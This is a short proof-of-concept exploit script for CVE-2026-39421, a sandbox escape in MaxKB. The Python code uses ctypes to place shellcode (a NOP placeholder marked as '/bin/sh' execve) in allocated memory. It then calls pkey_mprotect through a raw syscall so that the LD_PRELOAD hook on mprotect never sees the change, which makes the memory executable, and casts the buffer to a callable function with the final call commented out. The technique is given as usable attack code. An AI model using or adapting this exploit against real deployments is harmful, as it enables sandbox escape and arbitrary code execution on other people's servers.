CVE-2026-39421 MaxKB沙箱逃逸致代码执行漏洞

# Proof of Concept for CVE-2026-39421 # This PoC demonstrates bypassing the LD_PRELOAD sandbox using ctypes and pkey_mprotect. import ctypes import sys # Constants for x86_64 architecture SYS_pkey_mprotect = 330 PROT_READ = 0x1 PROT_WRITE = 0x2 PROT_EXEC = 0x4 # Shellcode placeholder (e.g., execve /bin/sh) shellcode = bytes(b"\x90\x90\x90\x90") # Replace with actual shellcode # Allocate memory buffer buffer_size = len(shellcode) # Use ctypes to create a writable buffer libc = ctypes.CDLL(None) addr = libc.valloc(buffer_size) addr = ctypes.cast(addr, ctypes.c_void_p) # Write shellcode to memory ctypes.memmove(addr, shellcode, buffer_size) # Bypass sandbox by using raw syscall for pkey_mprotect instead of mprotect # Arguments: addr, size, prot, pkey (ignored usually if default) # PROT_READ | PROT_WRITE | PROT_EXEC = 7 print(f"[*] Attempting to change memory protection at {hex(addr.value)}...") # Execute raw system call via libc syscall wrapper # Note: syscall number depends on architecture (330 for pkey_mprotect on x86_64) result = libc.syscall(SYS_pkey_mprotect, addr.value, buffer_size, PROT_READ | PROT_WRITE | PROT_EXEC, 0) if result == 0: print("[+] Memory protection changed successfully! Bypass successful.") # Cast to function pointer and execute (Theoretical execution) func = ctypes.cast(addr, ctypes.CFUNCTYPE(None)) print("[!] Executing shellcode...") # func() # Uncomment to actually execute else: print(f"[-] Failed to change protection: {result}")